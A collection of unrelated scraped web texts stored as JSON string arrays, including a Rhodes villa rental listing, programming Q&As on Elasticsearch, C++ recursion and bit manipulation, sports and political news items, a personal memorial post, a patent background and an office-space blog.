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[ "Villa / 3 bedrooms / 3 bathrooms / sleeps 7\n\nKey Info\n\nBeach / lakeside relaxation\n\nSwimming pool\n\nChild friendly\n\nCar advised\n\nAir conditioning\n\nAsk about pets\n\nPrivate garden\n\nDescription from owner\n\nDescription\n\nWith its privileged location, direct on the beach with private access to it , Villa Kiotari will undoubtedly appeal to everyone seeking stunning sea views, high levels of privacy, direct to the beach and long leisurely strolls along a beautiful beachside promenade – not to mention the convenience of being a walking distance from Kiotari.", "\n\nThe first one you notice when you enter this fantastic home is the spacious living room decorated with modern furniture and large windows that allow you to enjoy throughout the day the infinite blue of the sea and the beauty of the Greek sky.", "\n\nUpstairs find two modern bedrooms with king size beds in the case so far for visitors to relax and enjoy the moments idiotikes TO always in company with the sea view and the sound\n\nWith its privileged location, direct on the beach with private access to it , Villa Kiotari will undoubtedly appeal to everyone seeking stunning sea views, high levels of privacy, direct to the beach and long leisurely strolls along a beautiful beachside promenade – not to mention the convenience of being a walking distance from Kiotari.", "\n\nThe first one you notice when you enter this fantastic home is the spacious living room decorated with modern furniture and large windows that allow you to enjoy throughout the day the infinite blue of the sea and the beauty of the Greek sky.", "\n\nUpstairs find two modern bedrooms with king size beds in the case so far for visitors to relax and enjoy the moments idiotikes TO always in company with the sea view and the sound of the birds and the crickets that together they enjoy the Greek summer.", "\n\nA luxurious bathroom is on this floor and serves these two rooms.", "\n\nClimbing the stairs to the third floor, your imagination begins to gallop and your heart pounding and when the door opens there you really fall in love!", "\n\nThe breathtaking view of the sea and sky and sunlight fills the wide area warms your soul!", "\n\nIt is a dream room! ", "It gives you the feeling that hover in the sky like a Greek god. ", "Do you feel you disposed within Greece to fill you.", "\n\nAn imaginary space is that you can fall in love, to imagine, to dream, to relax, to live and enjoy private moments in another world in another reality.", "\n\nA large closet and a private office are there in the room and a large bathroom with spa showers in the blue color of Greece.", "\n\nA large balcony helps you to enjoy the amazing melody of the waves and at night the illuminated coastline from Pefkos stretching like a painting in front of you. ", "The lighted pool and garden completes the picture of absolute tranquility.", "\n\nWhen you start to travel in Greece know that you will see great images and colors, you will hear sounds and melodies, songs and joy around you, you will meet friendly people. ", "All these feel right now in this house. ", "This home is Greece.", "\n\nThe puzzle of your Greek vacation ends with Greek flavors. ", "A big barbecue in the garden is there for you. ", "You can buy and cook fresh fish every day and meat and vegetables from the local market in the village of Lardos located near the house.", "\n\nIn the yard under a large pergola there is a dining table for eight people and a modern lounge which lets you relax in the garden.", "\n\nGoing to the pool you facing the amazing beach and the crystal clear waters of the sea. ", "Commode deck chairs and umbrellas are in the pool for eight people and help you to enjoy the warmth of the Sun of Rhodes.", "\n\nThe island of the God ILIOS (SUN) called by the ancient Greeks!", "\n\nOpening the small wooden door that leads to a stone staircase to descend to the beach.. There, in front of the beach an umbrella and deck chairs are only for your private use.", "\n\nThis house really makes you feel special. ", "As he stands perched on the cliff above the beach gives meaning to the word unique!!!!", "\n\nThe feeling of luxury completes the 24H Concierge Services we offer to our Visitors.", "\n\nRhodes Concierge Service is here to make it all easier for you on your vacation. ", "You do not have to think of anything. ", "A complete guide to recommend the best local restaurants, luxury car rental and many activities such as Land Rovers Safari, Scuba Diving, Wind Surfing Lessons, Horse Ridding, Speed Boad Rentals, Fishing in Deep Sea, organized by us and make your holidays memorable. ", "Enjoyed our hospitality!", "\n\nThe South Aegean region\n\nAegean Islands are the best Summer Resort ever!!", "\n\nwww.antonogloubeachvillas.co\n\nKiotari\n\nRhodes Town with its ever expanding infrastructure including a huge widening progress to the main Rhodes-Lindos road, a new marina, a brand new fully equipped private medical clinic Euromedica as well as a new state hospital, two private schools and the Aegean University, Rhodes attracts professionals, students and visitors from all parts of Greece and abroad. ", "Rhodes is easily accessible from most European cities with its International Airport being just 14km from the town as well as the main harbour connecting the mainland on a daily basis. ", "Not only does Rhodes offer a high standard of living but also a practically crime free environment making it a safe and easy living relocation choice.", "\n\nThe south of Rhodes, rich in history is a treasure trove of Byzantine churches, monasteries as well as numerous historical monuments. ", "The natural landscape is a combination of long, unspoilt beaches stretching for miles with its rugged mountains scattered with a rare selection of flora and fauna making it perfect location choice for a second home. ", "Of the ten villages each has their own traditional character and each unique to their own providing a fascinating opportunity for exploration. ", "Prasonisi is the most southern point of the island with strong winds creating superb conditions for windsurfers.", "\n\nCancellation policy\n\nIf you cancel your booking, any money you have paid cannot be refunded.", "\n\nAbout the owner\n\nTsampikos A\n\nTourist Licence 1476K910A0385401\n\nResponse rate:\n\n95&percnt;\n\nCalendar updated::\n\n05 Dec 2016\n\nYears listed:\n\n5\n\nBased in:\n\nGreece\n\nOverall rating:\n\nLanguages spoken: English, German\n\nThis Villa has 3 bedrooms, 3 bathrooms and sleeps 7. ", "It’s been listed on Holiday Lettings since 06 Jul 2012. ", "Located in Rhodes, it has 17 reviews with an overall rating of 5. ", "The average weekly rate varies from £975 to £3306.", "\n\nThe Owner has a response rate of 95% and the property’s calendar was last updated on 05 Dec 2016.", "\n\nMap\n\nMap and how to get there\n\nGuest reviews\n\n“THE PERFECT PLACE FOR YOUR HOLIDAYS”\n\nReviewed 26 Sep 2015\n\nIt was the perfect place to relax!", "\nThe view was amazing...\nThe sea was just 20 meters from the house!", "\nThe location was very convenient...5-10 minutes by car from Kiotari Village, where you could find supermarkets and a lot of restaurants.", "\nWe will definitively go again next year!", "\n\n“Glorious location, wonderful service!”", "\n\nReviewed 4 Jul 2015\n\nWe chose to meet two of our adult children with their families in Rhodes this year, and Kiotari Villa 2 suited us all, aged from five to seventy-five, perfectly. ", "The villa and a sparkling pool look out directly to the Mediterranean and the villa is spotless, providing for all our needs. ", "Our touring was limited because we simply did not want to leave the villa. ", "Liza and Manolis Kontos responded swiftly to every request, even meeting us at the dead of night to guide us to the villa after a late flight and putting together caterers and flowers for a surprise fiftieth wedding anniversary banquet given to us by our son and daughter. ", "This is the best place we have ever stayed in our forays from Australia to catch up with our European and British offspring.", "\n\n“Fantastic week”\n\nReviewed 17 Sep 2014\n\nWe stayed for 1 week in the villa and we liked it a lot. ", "The sea is fantastically clean and warm. ", "The villa is situated just next to the sea,so you can feel yourself as a king there. ", "The amenity is good enough and have all the facilities for summer vacation.", "\nAll my family members liked this place.", "\n\n“Exceptionally nice place”\n\nReviewed 23 Jul 2014\n\nOne of the nicest places we have ever been. ", "The facility is wonderful and the service was perfect. ", "Near to the house many nice restaurants are located and Lindos is worth a visit (day and night)\nWe will certainly come again!", "\n\n“The excellent wedding at Antonoglou Villas”\n\nReviewed 27 Apr 2014\n\nWe booked the villas in April for our greek wedding- Kiotari for the ceremony and Gennadi for our guests. ", "The venue is really good for a nice family-and-friends party: the houses are big, cosy and equipped with everything you need, there are swimming pools in front of each Kiotary villa and you get the perfect see view in each room. ", "The sea is very near, so in the summer sea may be more useful than the pools.", "\nNeedless to say, the hosts are very friendly and helpful and you get all you need by the first request. ", "They helped us in finding the restaurant for our rehearsal dinner, recommended what to visit and to see on the island. ", "They helped us all the time.", "\nApparently the houses can be a good choice to stay in for holidays as well - the place is quite, peaceful and really picturesque.", "\n\n“beautiful location”\n\nReviewed 22 Apr 2014\n\nWe were 2 families with children and we spent one week in the Kiotari villa. ", "Even it was out of the season the time spent was an excellent one.", "\nThis villa offers an excellent view over the sea, the sunrise is amazing. ", "The yard is large and well maintained. ", "The pool is excellent.", "\nStefano restaurant is very good, people are friendly and the food is very good.", "\n\n“Beautiful villa with excellent facilities and incredible views”\n\nReviewed 2 Aug 2013\n\nEverything about this villa is 5 star. ", "The location is superb with direct access onto the beach.", "\nThe garden is large with two shaded seating areas and a large barbeque area.", "\nInfinity pool looks directly over the beach.", "\n\nThis advert is created and maintained by the advertiser; we can only publish adverts in good faith as we don't own, manage or inspect any of the properties. ", "We advise you to familiarise yourself with our terms of use.", "\n\nTick this box to request a quote for your stay. ", "The owner will email you the total cost for your dates and a link to book and pay online. ", "Note that other guests may have received a quote for the same dates. ", "The first one to pay gets the booking, so make your payment asap to secure your holiday." ]

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[ "Q:\n\nHow to fix ElasticSearch conflicts on the same key when two process writing at the same time\n\nI have multiple processes to write data to ES at the same time, also two processes may write the same key with different values at the same time, it caused the exception as following:\n\"error\" : \"VersionConflictEngineException[[website][2] [blog][1]:\n version conflict, current [2], provided [1]]\",\n\"status\" : 409\n\nHow could I fix the above problem please, since I have to keep multiple processes.", "\n\nA:\n\nVersionConflictEngineException is thrown to prevent data loss. ", "Every document in elasticsearch has a _version number that is incremented whenever a document is changed. ", "\nWhen you query a doc from ES, the response also includes the version of that doc. ", "When you update the same doc and provide a version, then a document with the same version is expected to be already existing in the index. ", "\nIf the current version is greater than the one in the update request, What we would get now is a conflict, with the HTTP error code of 409 and VersionConflictEngineException\nIn your current scenario, \n\nversion conflict, current 2, provided 1\n\nThe current version in ES is 2 whereas in your request is 1 which means some other thread has already modified the doc and your change is trying overwrite the doc.", "\nIn case of VersionConflictEngineException, you should re-fetch the doc and try to update again with the latest updated version.", "\nWhether or not to use the versioning / Optimistic Concurrency Control, depends on the application. ", "If you can live with data-loss, you may avoid passing version in the update request. ", "\n\n" ]

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[ "Four days before Jameis Winston hoisted the Heisman, John Urschel struck a more thoughtful pose in New York. ", "The two-time All-Big Ten guard accepted the William V. Campbell Trophy (aka the academic Heisman), capping a Penn State career that included a bachelor's and master's in math and a second master's in math education that is nearly complete (all A's). ", "If Urschel wasn't pushing the sled, he was building his CV. ", "In his final season, he not only earned third-team AP All-American honors but also taught Math 232 (integral vector calculus), and he recently proved the Urschel-Zikatanov Generalized Bisection Theorem in a paper titled \"Spectral Bisection of Graphs and Connectedness.\" ", "It's been accepted by Linear Algebra and Its Applications, the top journal in spectral graph theory. \"", "This may not be cool to your readers,\" says the 22-year-old, \"but to a math-savvy person, proving your own theorem is pretty sick.\" ", "Yes, an offensive lineman actually said that.", "\n\nWHILE PREPARING FOR the NFL combine on Feb. 22, I worked hundreds of hours on my 40-yard dash, 225-pound bench press, 20-yard shuttle and other drills, hoping that better results will deem me worthy of a draft pick. ", "But as I was running and lifting, I couldn't help but wonder, from a purely analytical standpoint, if those skills even relate to my future success.", "\n\nSo like any good mathematician vexed by a question, I searched for an answer. ", "Then The Mag approached me to brainstorm ideas for its Analytics Issue. ", "We decided I should look at combine results of the 400 offensive linemen invited and graded by Scouts Inc. since 2006 to determine what, if anything, strongly indicates success. ", "Using ESPN Stats & Information's data -- including body measurements, combine results, draft position and NFL performance (e.g., starts) -- I treated three problems: 1) how best to predict a lineman's draft position, 2) that prospect's success in terms of NFL starts, and 3) whether a fringe prospect will be selected. ", "My results are below.", "\n\nOne of Urschel's recent papers has been accepted by a top journal in spectral graph theory. ", "Gregg Segal for ESPN\n\nPredict how early (or late) a lineman will go\n\nThe projection of how a college player's performance will translate to the NFL is far from an exact science. ", "As my fellow mathematicians might say: There is agreement on the sigma-algebra but much debate on the proper measure. [", "Ed.", "'s note: Just Google it.] ", "This is especially true for evaluating O-linemen. ", "That's because I can count on one hand the times I blocked 40 yards downfield. ", "And believe me, benching 225 doesn't compare to blocking Dolphins defensive end Jared Odrick or Bengals defensive tackle Devon Still, both PSU alums whom I faced day after day in practice.", "\n\nI contend that the offensive line is the only spot in football where intangibles like toughness and determination are as key as athleticism, a theory backed by my study. ", "For instance, when I tried to predict where a lineman would be drafted, all combine results -- including body measurements -- lacked significant correlation. ", "The one factor that proved most helpful was a lineman's position. ", "On average, tackles tend to go nearly a round earlier than guards and centers because of the increased importance of the edge pass rusher in the NFL.", "\n\nSo if measurements and combine tests don't account for draft position, what are the relevant factors? ", "The answer that naturally comes to mind is on-field performance, but mathematically speaking, the tale of the tape doesn't prove as accurate as one might think. ", "When I used Scouts Inc.'s prospect grades to measure college performance, it was reliable only in early rounds. ", "Considering only the linemen selected in the first 150 picks, the grades had a correlation of 81 percent to overall draft position. ", "For the remaining picks, the correlation plummeted to 17.5 percent, because although scouts agree on what makes a great lineman, there is still much debate on what makes a good lineman.", "\n\nSpot an every-down starter" ]

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[ "Friday on Fox News Channel’s “America’s Newsroom,” Sen. Ted Cruz (R-TX) weighed on House Democrats’ push to impeach President Donald Trump.", "\n\nThe Texas Republican described the situation as a “circus” but argued the motivating factor was angry from Democrats.", "\n\n“Washington was always a circus,” Cruz said. “", "This is three rings with all the clowns. ", "And it’s nuts right now. ", "And it’s driven at the end of the day — congressional Democrats are angry. ", "They’re angry about the 2016 election. ", "Ultimately, they’re angry at the voters. ", "They’re angry that the voters elected President Trump. ", "All of this from day one — from day one, they had been wanting to get this president out of office. ", "And as a result, they’re not doing their job. ", "They’re not actually interested in legislating. ", "They’re not interested in working together to produce more jobs and wages and expand opportunity. ", "It’s just about attacking the president.”", "\n\nFollow Jeff Poor on Twitter @jeff_poor" ]

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[ "Report: Pittsburgh Pirates Pitchers Jordan Lyles, Keone Kela On Trade Block Ahead Of MLB Trade Deadline\n\nPITTSBURGH (KDKA)– Two Pirates pitchers are reportedly on the block ahead of the July 31st MLB Trade Deadline.", "\n\nAccording to Ken Rosenthal of the Athletic, both starting pitcher Jordan Lyles and reliever Keone Kela could be trade pieces for the Bucs heading into next week.", "\n\nLyles, who started off the season hot, was injured for a time and has not looked as good as he did at the beginning of the season. ", "The veteran holds a 4.91 ERA and 87 strikeouts over 80.2 innings this season.", "\n\nMeanwhile, Kela did not have the greatest start to the season, and has been on the shelf with shoulder inflammation since May 12th. ", "Kela was prepared to return to the club earlier this week, but a two-game suspension delayed that process. ", "Kela reportedly found himself in an altercation with a Pirates employee. ", "He is expected to return to game action Wednesday night." ]

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[ "Daddy’s Girl\n\nI have always been my daddy’s little girl. ", "Dad played Santa Claus a lot when I was little. ", "I learned early the value of making people smile. ", "He also played guitar and was a disc jockey, where I get my love of music from. ", "As a child I would not sleep unless dad was home. ", "Nights he was at the radio station my mother would turn on a radio in my room so I could hear Dad’s voice. ", "He would talk to me on-air.", "\n\nI also get my irreverent sense of humor from my dad. ", "He would bring me records (yes, I still have vinyl) of Dr. Demento to listen to in my room. ", "And he was a huge fan of Wierd Al Yankovic and Cletus T Judd. ", "Our favorite comedy was Spaceballs. ", "The first movie Dad took me to the theatre to see was The Buddy Holly Story. ", "It was a close second to The Blues Brothers on our favorites list. ", "I remember coming home from school and telling jokes I had heard on the bus. ", "Mom would make me tell Dad just to see him blush.", "\n\nIt’s been over a year since Daddy passed. ", "There are days it feels like it was yesterday. ", "There are also days I feel his presence around me, a quiet comfort when I need him. ", "I am happy he’s in a better place, with no pain or sickness, with all the family that went before him that he missed so dearly. ", "There are still days when wish I could cry on his shoulder." ]

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[ "Q:\n\nWhy does my recursive function print in descending order and then in ascending order?", "\n\nI have a simple recursive c++ program and I am trying to understand exactly how it works. ", "I understand why the program prints out 3 2 1, but then I don't understand why it goes the other way and prints 1 2 3. ", "I used a hand-simulation and walked through the program step-by-step but still don't understand how the 1 2 3 comes about. ", "I found this article from GeeksForGeeks but am still having difficulty grasping the concept. ", "Any explanation would be awesome.", "\n#include <iostream>\n\nusing namespace std;\n\nvoid test(int n)\n{\n if (n > 0)\n {\n cout << n << \" \";\n test(n - 1);\n cout << n << \" \";\n }\n}\n\nint main()\n{\n test(3);\n return 0;\n} \n\nA:\n\nThe order of function calls in your recursion looks something like this:\ntest(3)\n-- cout << 3 << \" \";\n-- test(2)\n-- -- cout << 2 << \" \";\n-- -- test(1)\n-- -- -- cout << 1 << \" \";\n-- -- -- test(0)\n-- -- -- cout << 1 << \" \";\n-- -- cout << 2 << \" \";\n-- cout << 3 << \" \";\n\n" ]

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[ "1. ", "Field of the Invention\nThis invention relates to a device for expanding a fixing sleeve by the use of a hydraulic pressure to impart a predetermined pressure to a bearing and fix the bearing, and for releasing said hydraulic pressure in a state in which a required pressure force is caused to act axially, thereby mounting the bearing in a state in which a preload is applied thereto.", "\n2. ", "Description of the Prior Art\nHeretofore, where a double row angular ball bearing provided with a seat is to be mounted, for example, on a spindle unit by applying a preload to the bearing, the bearing has been fixed onto the spindle with the inner race thereof being tightened by rotatively displacing a nut threadably engaged with a shaft. ", "However, when the inner race is tightened by the nut, a high load of 3 to 4 tons is immediately created and one could not know by what degree of force the inner race is actually tightened.", "\nAlso, it has been thought that there is little or no variation in the dimensions of the inner race spacer inserted between the inner races of the double row angular ball bearing provided with the spacer, but it has been found that the dimensions of the spacer are actually varied by the deformation of the spacer, the destruction of the contact surface or the like when a great load is applied thereto during the preload of the bearing.", "\nAccordingly, even when a preset preload appropriate to the bearing has presumably been applied it has sometimes been the case that a preload two to three times the preset preload is actually applied.", "\nEven when a preload greater than the preset preload has been applied as described above, the influence thereof is small if the rotation of the spindle is not so fast, that is, the rotational speed of the bearing is in a low or medium speed range (500,000 dmn or less). ", "However, when the rotational speed of the bearing is 600,000 dmn or more as has been experienced recently, the great temperature rise by an excessively great preload and further the possibility of seizure or the like have offered problems and stable highspeed rotation could not be obtained." ]

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[ "Q:\n\nComparing every other bit in a 64 bit integer to a 32 bit integer\n\nI was playing around with the idea of creating a little checkers solver. ", "First I'd make a very compact checkers board representation, then go on to build the game tree and such.", "\nA standard checkers board has 8 rows, and 4 functional columns (checkers can only move diagonal). ", "That gives us 32 positions! ", "Each position needs 3 bits of information... king bit, and color bit... so 00 is non-king black, 01 is non-king red, 10 is king black, 11 is king red. ", "That gives us 64 which is a nice number to work with (Exact size of a long integer).", "\nHowever, each checker also needs one additional bit... the isOccupied bit, since each checkers position can be empty, or filled with one of the four states above. ", "I decided to take the 64 states and put them into a long 64-bit int, and the 32 occupied states and put them into a 32-bit integer.", "\nSo now that we have some background, I have the following problem: I want to easily say \"How many red checkers are on this board?\" ", "Well that's not so bad... our 64 bit integer holds data like this:\nking_color_king_color_king_color so 011001 means we have red, black king, red.", "\nTO get just the color information, we can use a bit mask of 01010101...01 which is 0x5555555555555555 in hex. ", "That zeroes out the king bits, and just leaves the color bits. ", "So with the 011001 example after ANDing with the mask we have 010001. ", "If we count the bits (popcount, bitcount) we get the number of reds...\nAh, but wait! ", "Those colors may not be \"in use\". ", "We have to check our 32 bit int to see if a given checker is in use! ", "So say we have 011 for our occupied 32 integer... that means the first checker, 01 above (red non king)... is actually not occupied... its just an empty square. ", "If we were to move another checker there, we may or may not need to update those 2 king-color bits. ", " So putting it all together\n32bit = 011\n64bit = 011001\n\nRepresenting 3 checker positions... an empty checker with was a red before, followed by black king, followed by red. ", "Once we do the 010101 mask operation on 64bit we get:\n64bitWithMask = 010001\n32bit=011\n\nNaively we have 2 reds... but we actually only have 1 active... what I would like to do is essentially take the odd bits in the 64 bit string, and AND them with each bit in the 32 bit string... ie\n1 AND 0, 0 AND 1, 1 AND 1 gives us 001 which represents the count of red checkers.", "\nOr equivalently, convert 64bitWithMask to 64bitWithMaskOddBits = 101\nThen simply AND with the 32 bit to get 011 & 101 = 001.", "\nSo formally, is there a way to take a bit string of length 2X, and reduce it to length X by taking only the odd bits? ", "I am trying very hard to avoid loops, ifs, etc, and only using logic (and, or, xor, negation, etc).", "\nOr of course, if there is another strategy to get the proper count of reds given my 32-bit and 64-bit strings.", "\nThanks!", "\nEDIT:\nThe solution to the problem I posed is elegantly solved below in the accepted answer, but the better solution for my actual application was to split the 64 bit representation into two 32. ", "That saves me a bunch of operations to extract what I need. ", "Thanks to both LukeG and Tehtmi for the help! ", "I'm happy to be exposed to this new technique of bit manipulation, \"parallel\".", "\n\nA:\n\nCompressing every other bit from a number into a half-length number is a bit tricky since each bit needs to get shifted by a different amount. ", "However, there is a clever way to do it that requires fewer operations than handling each bit individually. ", "For 64-bits, it looks like this (pseudo-code):\nx = x & 0x5555555555555555\n// or for the alternate bits: x = (x >> 1) & 0x5555555555555555\nx = (x | (x >> 1)) & 0x3333333333333333\nx = (x | (x >> 2)) & 0x0f0f0f0f0f0f0f0f\nx = (x | (x >> 4)) & 0x00ff00ff00ff00ff\nx = (x | (x >> 8)) & 0x0000ffff0000ffff\nx = (x | (x >> 16)) & 0x00000000ffffffff\n\nHere's an illustration of what's happening to the bits at each step for a 32-bit number (after the initial mask):\n0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p\n00ab00cd00ef00gh00ij00kl00mn00op\n0000abcd0000efgh0000ijkl0000mnop\n00000000abcdefgh00000000ijklmnop\n0000000000000000abcdefghijklmnop\n\nFor example, bit g needs to be shifted 9 to the right, so look at the power-of-two components 9 = 1 + 8. ", "Thus, g gets shifted in the >> 1 step and the >> 8 step.", "\nBit algorithms of this sort are sometimes described as \"parallel\". ", "You may be interested in checking out this famous list. (", "It includes interleaving which is very closely related to what's happening here.)", "\nThe standard disclaimer for this sort of code is that it is generally difficult to work with, so it should probably not be used in serious projects unless there is actually a performance issue (and even then, make sure it is clear what the code is supposed to do, e.g. with comments). ", "If there is no performance issue and you still want to use bit operations, then the loop solution may still be preferred as it is easier to understand and work with.", "\n\nA:\n\nI don't see any way to do this without using a loop.", "\nEdit: And I was proven wrong by tehtmi. ", "Wile I still think the \"alternative solution\" proposed at the end of this answer is the better way to solve the problem at hand, tehtmi presented a very interesting solution and if you haven't yet, you should scroll up and upvote it.", "\nI see two ways to approach this. ", "\nThe first one, which comes close to what you want to achieve, is:\nuint32_t occupied;\nuint64_t data;\n\nuint32_t occupiedWithRed;\nfor (auto i = 0; i < 32; ++i) {\n occupiedWithRed |= (data >> i) & occupied & (1 << i);\n}\n\nThe count of red positions would be the count of set bits in occupiedWithRed.", "\nThe easier (and probably faster) way is:\nuint32_t occupied;\nuint64_t data;\n\nauto count = 0;\nfor (auto i = 0; i < 32; ++i) {\n if ((data >> (2 * i)) & (occupied > i)) ++count;\n}\n\nOr, do something completely different: As was noted in the comments you could ease your life if your separated your data in 3 different 32 bit unsigned integers. ", "One for distinguishing red and black, one for distinguishing free and occupied and one for distinguishing between king and no king. ", "Your task would become significantly easier this way. ", "It would be a matter of one bitwise and and a calculating a hamming weight.", "\n\n" ]

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[ "As I get older, I'm slowly getting rid of things I don't need. ", "But before I do I'll share them with all you nice people.", "\n\nMy own cartoons are at magicwhistle.com\n\nWednesday, May 29, 2013\n\nSUPER CRACKED #31, 1 of 3\n\nCracked seemed to do more re-packaging than any other humor magazines, probably so there'd always be more than one incarnation on the newsstands. ", "In the 80's, when Mort Todd became editor, he took advantage of their vast inventory to have their annuals be not just random articles thrown together. ", "Super Cracked #31 was a collection of the comics parodies they'd done throughout the years.", "\nThe cover is by Bob Fingerman, one of the newer artists brought in. ", "I've known him for a long time and by posting this cover, I'm violating my unwritten policy of not posting cartoons by people only a few years older and still very much active, but it is the cover for the articles to come.", "\nThis spread by John Severin reference the first foray of comics culture into mainstream media, using the catchphrase “camp” inspired by the Batman TV show.", "\nDrawn by Bill Elder in one of his few solo pieces.", "\nBill Ward\nBy longtime Superman artist Kurt Schaffenberger.", "\n\nNo comments:\n\nPost a Comment\n\nFEEL FREE TO STALK ME OR I'LL STALK YOU\n\nTweets by @magicwhistle\nMuch of the material here is at least a generation old and therefore sometimes has racist and sexist standards we wouldn't conform to today. ", "I try, but can't always do a line-item veto. ", "You're not wrong to be offended, think of it like a friend you like hanging out with 95% of the time but once in a while they embarrass you. ", "My own attitude is to move forward.", "\n\nthings\n\nSome people don't realize you can make images bigger by clicking on them or that there are earlier postings beyond this page. ", "Well, now you know. ", "You're welcome.", "\n\nCopyright Disclaimer under Section 107 of the Copyright Act 1976, allowance is made for FAIR USE for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. ", "Fair use is permitted by copyright statute that might otherwise be infringing. ", "NON-PROFIT, educational or personal use tips the balance in favor of fair use. ", "Either that or the owners could care less.", "\n\nBlog Archive\n\nFollowers\n\nFacebook Badge\n\nAbout Me\n\nSAM HENDERSON has been doing comics, illustration and writing popular among people aware of their existence since his birth, though he wasn't paid for it until 1991. ", "In addition to his own book,The Magic Whistle, clients have included Nickelodeon, New York Press, DC Comics, Heavy Metal, New York Observer,and ...um... Screw. ", "He was a storyboard director for SpongeBob Squarepants in 2001.", "\nSee what books are currently available, links to my own work and other web presences, or contact me by clicking on magicwhistle.com" ]

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[ "President Barack Obama and Vice President Joe Biden have a lot to catch up on.", "\n\nJust back from two weeks of vacation on the tony Massachusetts island of Martha's Vineyard, Obama is holding his weekly lunch with Biden Monday.", "\n\nAdvertisement\n\nWhile the president has been away, Biden has been ramping up discussions about whether he will seek the Democratic presidential nomination in 2016.", "\n\nIf Biden runs, it would put Obama in an awkward position.", "\n\nHillary Rodham Clinton, his former secretary of state, is currently the front-runner in the Democratic primary, but she's been plagued with questions about her use of personal email and a private server while in government.", "\n\nIt's all but certain that Obama would not endorse a candidate in the primary if both Biden and Clinton run." ]

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[ "[How could self help support patients and families with anorectal malformations?--Psychosocial help offers of SoMA eV].", "\nTo be born with an anorectal malformation means to suffer from a rare disease. ", "The afflicted viscera and the consequences e. g. incontinence border on a taboo. ", "In most instances it is necessary to have an interdisciplinary and long-term follow up of the patients. ", "Involved children and their families benefit in a special way from the offers of a self-help organization. ", "The feeling not to be alone helps to cope with the strain situation, as do the presented projects and offers which come up with the special needs of the patients. ", "The everyday experience and capacity of the patients can be used to solve problems. ", "On the one hand, self-help represents a pool of knowledge on the other hand it shows to the attending physician or therapist the long-term results achieved. ", "Here a network of the different specialties is crucial. ", "Especially in the psychosocial field where self-help organizations have reached their limits--there is a need for more psychotherapeutical support." ]

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[ "Wargame is back again with a brand new DLC for the million-selling franchise’s third installment, Wargame Red Dragon. ", "In this new expansion for the spectacular real-time strategy game from Eugen Systems, the unique and diverse Dutch units are finally playable! ", "Choose between 80 units and enter into a coalition with West Germany.", "\n\nThe Wargame series returns to duty, larger, richer and more spectacular than ever before. ", "In Wargame Red Dragon, you are engaged in a large-scale conflict where Western forces clash against the Communist bloc.", "\n\nThe Wargame series returns to duty, larger, richer and more spectacular than ever before. ", "In Wargame Red Dragon, you are engaged in a large-scale conflict where Western forces clash against the Communist bloc.", "\n\nThe Wargame series returns to duty, larger, richer and more spectacular than ever before. ", "In Wargame Red Dragon, you are engaged in a large-scale conflict where Western forces clash against the Communist bloc.", "\n\nFBI Agent Will Graham has been called out of early retirement to catch a serial killer, known by authorities as \"The Tooth Fairy\". ", "He asks for the help of his arch-nemesis, Dr. Hannibal \"The Cannibal\" Lecter, so that he can be able to catch \"The Tooth Fairy\" and bring him to justice. ", "The only problem is that \"The Tooth Fairy\" is getting inside information about Graham and his family from none other than Dr. Lecter." ]

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[ "stelmain\n\nWhy consider flexible office space for your SME?", "\n\nWhy consider flexible office space for your SME?", "\n\n12 June 2018\n\nHere at Stelmain, we have an impressive range of office space in Glasgow — both semi-serviced and serviced — and we try to write thoughtful blog posts about office space each month that we feel could be useful for SMEs. ", "In this month’s blog post, we’re discussing why you should consider flexible office space for your SME. ", "We’ll discuss the idea of smaller contracts, expanding and optimising your office space, and what to do if your number of staff drops a little.", "\n\nFlexible office contracts\n\nOne thing that is sometimes important to SMEs is how much (or how little) they are tied into their office space contract. ", "The standard contract is 12 months, but some contracts can be for 24 or 36 months. ", "Depending on the industry you work within, it can be really daunting for SMEs to commit to an office for any longer than 12 months, as they probably have no idea how much they are likely to grow or shrink as a business in the next year or two. ", "If your office space itself doesn’t offer enough room to expand or contract, then the smaller your contract is the better, and beware of any contract that feels unnecessarily long.", "\n\nFlexible office space gives your business room to grow\n\nIf you’re building a business, one of the biggest problems you face is managing your growth in a realistic and responsible way. ", "Most SMEs move to a bigger office to make room for a few new staff members as the business expands. ", "Truly flexible office space will accommodate this growth either by offering ways to rearrange the room, optimising the space you already have, or by offering a room nearby that can function as an extension of your office. ", "Note: if you choose an additional office in the same building to serve as an extension, it can be a good idea to stick your noisiest department in there (usually sales). ", "This way, they can carry on loudly, without bothering some of the other teams/departments. ", "It’s the best of both worlds!", "\n\nWhen choosing an office, or an office provider, you should always have flexibility in your mind. ", "Look for an additional room next door or an obvious way you’ll be able to stretch out and change the space if you need to. ", "If you’re dealing with a broker, ask them about growth and how flexible they could be. ", "The last thing you want is to be stuck for the next 9 months of your contract in a tiny little space that simply can’t contain your rapidly growing business.", "\n\nFlexible office space may make shrinking a lot less costly\n\nHowever, the inverse is also true. ", "If something changes in your market place or you just lose a few staff members that you can’t (or don’t have to replace), then you may discover that you need to be able to downgrade a little, or at least to make better use of a few empty desks. ", "It can be a good idea to provide desks for other businesses nearby, renting them out. ", "As long as you don’t mind an interloper in your office, this can be a great way to cut the costs associated with an empty desk. ", "Then, later down the line, when you’re building up your ranks of employees again, you will be able to use the desks for your new staff (provided you give your guests at least a little notice).", "\n\nIt may seem a little negative to fixate on the chance that your business may shrink at some point, but think of it as risk assessment, of making sure you’ll be okay should anything surprising happen in the near future. ", "The last thing you want is an exceptionally expensive office with a bunch of empty desks!", "\n\nThat’s all we have time for today. ", "We hope we’ve helped one or two readers understand the benefits of flexible office space and what to look for when you’re looking around for your next office. ", "If you have any questions about our range of Glasgow-based offices, please don’t hesitate to get in touch." ]

